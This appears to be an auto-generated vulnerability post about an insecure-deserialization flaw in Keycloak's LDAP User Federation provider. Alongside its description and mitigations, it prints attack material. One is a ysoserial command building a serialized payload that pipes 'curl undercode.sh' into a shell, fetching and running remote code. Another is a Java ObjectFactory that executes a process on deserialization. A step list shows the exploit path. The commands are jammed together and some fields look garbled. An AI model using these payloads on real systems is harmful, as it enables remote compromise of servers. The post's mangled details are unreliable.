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How the mentioned CVE works:
This vulnerability exists within the Keycloak LDAP User Federation provider. An authenticated attacker with realm administrator privileges can configure a malicious LDAP server connection. The vulnerability is triggered when the provider attempts to synchronize user data. During this process, the provider deserializes Java objects received from the LDAP server without proper validation. By pointing the configuration to a malicious LDAP server that sends a crafted serialized object, the attacker can achieve remote code execution on the Keycloak server by exploiting the insecure deserialization process, ultimately compromising the server and its data.
Platform: Keycloak
Version: < 26.4.6
Vulnerability : Untrusted Deserialization
Severity: Moderate
date: 2025-11-25
Prediction: 2025-12-02
What Undercode Say:
nmap -p 8080,8443 <keycloak_server> ldapsearch -H ldap://malicious-server -b "dc=example,dc=com" java -jar ysoserial.jar CommonsCollections5 'curl undercode.sh | sh' > payload.ser
// Malicious LDAP object factory
public class ExploitObjectFactory implements ObjectFactory {
@Override
public Object getObjectInstance(Object obj, Name name, Context ctx, Hashtable<?,?> env) throws Exception {
Runtime.getRuntime().exec("gnome-calculator");
return null;
}
}
How Exploit:
1. Attacker gains admin access.
2. Configures malicious LDAP server.
3. Sets LDAP user federation.
4. Triggers user synchronization.
5. Malicious payload deserialized.
6. Remote code execution achieved.
Protection from this CVE
- Upgrade to 26.4.6.
- Restrict admin privileges.
- Network segment LDAP.
- Use Java security manager.
- Validate LDAP responses.
Impact:
- Remote Code Execution
- Server Compromise
- Data Breach
- Full System Access
- Privilege Escalation
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
